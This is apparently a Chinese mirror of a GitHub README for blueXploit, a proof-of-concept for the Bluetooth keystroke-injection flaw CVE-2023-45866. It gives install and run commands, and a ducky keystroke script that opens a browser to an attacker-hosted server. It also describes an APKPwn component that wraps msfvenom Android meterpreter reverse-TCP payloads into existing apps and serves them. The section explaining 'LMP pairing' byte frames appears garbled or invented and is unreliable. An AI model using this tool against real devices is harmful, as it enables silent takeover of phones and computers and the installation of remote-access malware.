Danyw24/blueXploit

GitHub: Danyw24/blueXploit

复现 CVE-2023-45866/CVE-2024-21306 蓝牙键盘注入漏洞的 PoC 工具,能够在无需配对的情况下向目标设备远程注入按键指令。

Stars: 14 | Forks: 2

# blueXploit ![image](https://static.pigsec.cn/wp-content/uploads/repos/cas/60/60d59e1a76efa6011d3e1a89b761185983bdc9d87bfd299b0a2a9063cb2f0a1d.png) [blueXploit 视频](https://www.youtube.com/watch?v=Zez8hKRI_7M) - **blueXploit** 是我个人的概念验证(proof-of-concept),用于复现 **CVE-2023-45866**,即由 **Marc Newlin** 发现的蓝牙键盘注入漏洞。它滥用蓝牙协议中的缺陷,**无需配对**即可向目标设备注入按键,从而为更复杂的攻击打开了大门。 # 漏洞工作原理 这些严重漏洞([CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/)、CVE-2024-21306)允许攻击者在无需用户确认的情况下注入按键并接受配对请求。这严重影响了多个操作系统的安全性。 ## 受影响的系统 - **Android**:4.2 至 14(如果缺少 2023-12-05 补丁,则为 11–14) - **Linux**:需要 BlueZ 补丁。 - **macOS**:12 至 14.2(已部分修复)。 - **iOS**:16(存在漏洞),已在 iOS 17.2 中修复。 - **Windows**:已在 2024 年 1 月的“补丁星期二”中修复。 ## 影响 - 该漏洞允许通过注入按键远程控制设备,即使在未接受蓝牙配对的情况下,也能强制建立连接并执行按键命令。 ## 攻击示例 - **远程命令执行**:通过注入按键控制存在漏洞的设备, 攻击向量多种多样 —— 从获取 **shell** 到 **安装恶意应用程序**。 - **拒绝服务攻击**:通过大量的配对请求淹没设备。 ## 缓解措施 - 使用最新的系统补丁更新设备。 - 不使用时关闭蓝牙(这可以阻止针对此漏洞的任何 exploit 运行)。 - 避免与未知设备配对。 # blueXploit - 使用与演示 - 基于 Marc Newlin 的[原始 exploit](https://github.com/marcnewlin/hi_my_name_is_keyboard)。 - 安装依赖项 ``` # 更新 apt sudo apt-get update sudo apt-get -y upgrade # 从 apt 安装 dependencies sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \ git gcc python3-pip python3-setuptools \ python3-pydbus apktool metasploit-framework \ keytool openjdk-23-jdk sudo apt autoremove && sudo apt autoclean # 从源码安装 pybluez git clone https://github.com/pybluez/pybluez.git cd pybluez sudo python3 setup.py install # 从 bluez 源码构建 bdaddr cd ~/ git clone --depth=1 https://github.com/bluez/bluez.git gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth sudo cp bdaddr /usr/local/bin/ ``` ## 使用 APKPwn + blueXploit **blueXploit** 包含用于利用 Android 设备漏洞的工具,提供两个主要组件以及一个名为 **apkpwn_injector** 的附加程序,位于 **injector** 文件夹中。 ### APKPwn 功能 - 使用 **msfvenom** 自动创建 **android/meterpreter/reverse_tcp** payload。 - 将这些 payload 注入到 **apk_clean** 文件夹中现有的 `.apk` 应用程序中。 - 设置本地服务器以提供生成的恶意应用程序。 这些功能能够在受控环境或渗透测试中实现高效、简化的攻击流程。 ![image](https://static.pigsec.cn/wp-content/uploads/repos/cas/fe/feccd15249bfcb9057b216b83e9931778a515abf4bcd705e40da7265be6805d4.png) ``` cd injector python3 apkpwn_injector.py ``` ## 创建或编辑 duckypayload blueXploit 执行的按键命令从 **/injector/payloads/** 文件夹中以 **.txt** 格式加载,语法简单易懂。 ### duckypayload 示例 ``` DELAY 200 ESCAPE GUI d ALT ESCAPE GUI b DELAY 700 REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N PRIVATE_BROWSER DELAY 700 CTRL l DELAY 300 STRING 192.168.0.1 DELAY 800 ENTER DELAY 300 ``` 将 IP 地址更改为托管服务器的地址。 设备检测与枚举 ``` bluetoothctl ``` 扫描蓝牙设备 ``` scan on ``` 运行 ``` python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF ``` 然后选择所需的、预先配置好的 payload。 ## 演示 完整演示在这个[视频](https://www.youtube.com/watch?v=Zez8hKRI_7M)中 ## 使用的硬件 - Raspberry Pi 4 - Kali Linux ARM64 # CVE-2023-45866 详解 该漏洞在蓝牙协议的低层被利用,主要是通过操纵 HID profile 和 L2CAP 协议向受害者设备注入按键。 ## 1. 低层蓝牙协议 蓝牙协议栈包含多个层,例如链路管理器协议(LMP)、主机控制器接口(HCI)和 L2CAP。此攻击主要使用后两者: - **HCI**:操纵适配器配置,使其呈现为合法的 HID 设备。 - **L2CAP**:负责设备之间的数据多路复用,L2CAP 使用通道 17(HID 控制)和通道 19(HID 中断)进行 HID 通信,这可被利用来发送按键序列。 ## 利用 CVE-2023-45866 CVE-2023-45866 是链路管理器协议(LMP)中的一个漏洞,通过“强制配对”攻击来利用。以下是具体的技术实施过程: - **LMP 管理配对请求和链路配置。** - 发送格式错误或未经身份验证的 LMP 数据包以强制配对,如下所示: ``` LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 ``` 在这个数据帧中: - `0x01`:LMP 配对请求 - `0x01`:LMP 身份验证请求(PIN) - `0x00 0x00 0x00 0x00`:弱 PIN 信息,通常为 0000 在这里,exploit 利用了此数据包缺少配置和身份验证的缺陷,最终返回: ``` LMP Accept: 0x02 0x00 0x00 0x00 0x00 ``` 在这个数据帧中: - `0x02`:LMP 配对请求**已接受** - `0x00 0x00 0x00 0x00`:返回了格式错误的 PIN 信息 如果密钥未正确验证,连接就会建立,但没有真正的配对,因此可以像这样发送强制配对的 LMP 数据包: ``` LMP Forced Pairing: 0x03 0x01 0x0000 ``` 然后可以使用之前泄露的密钥(如 "0000")强制进行身份验证,并建立加密通信通道,在无需经过适当验证过程的情况下将设备配对。 **这会在用户不知情的情况下创建配对,甚至没有任何配对窗口或通知。** 此 CVE 的缺陷在于某些设备未正确验证 LMP 身份验证请求,或最终重用了旧密钥。 因此,一旦与设备配对 —— 砰!—— 剩下的就很容易了:在 **blueXploit.py** 中,适配器和设备伪装并欺骗了身份数据。在这种情况下,会运行如下命令: ``` hciconfig hci1 name "blueXploit" hciconfig hci1 class 0x002540 # HID class (keyboard) ``` blueXploit 代码 ``` # 配置 name 和 class log.status("Configuring interface: '%s'" % args.interface ) adapter = Adapter(args.interface) adapter.set_name("blueXploit") adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse target_name = run(["hcitool", "name", args.target_address]) # gets name ``` ## HID 数据注入 ``` [?] Attempting to send letter: a [.] Attempting to send... (,) [.] [TX-19] Attempting to send data: a10100001e000000000000 [.] [TX-19] Data sent successfully ``` HID 字节数据帧说明: :`a10100001e000000000000` - `a1`:指定 HID 报告类型 - `01`:指定用于入站数据的 HID 接口 - `00`:按下或释放按键 - `00 1e 00 00 00 00`:十六进制值,其中 `1e` 对应字母 `a` 随后会收到一个 **ACK**,以确认传输已成功接收。 - blueXploit 集成了重连和数据重发机制,以保持通信稳定且无损,因此如果发生断开连接,程序会重新连接并从之前的位置/字符继续发送 HID 数据。
标签:概念验证, 蓝牙, 逆向工具, 键盘注入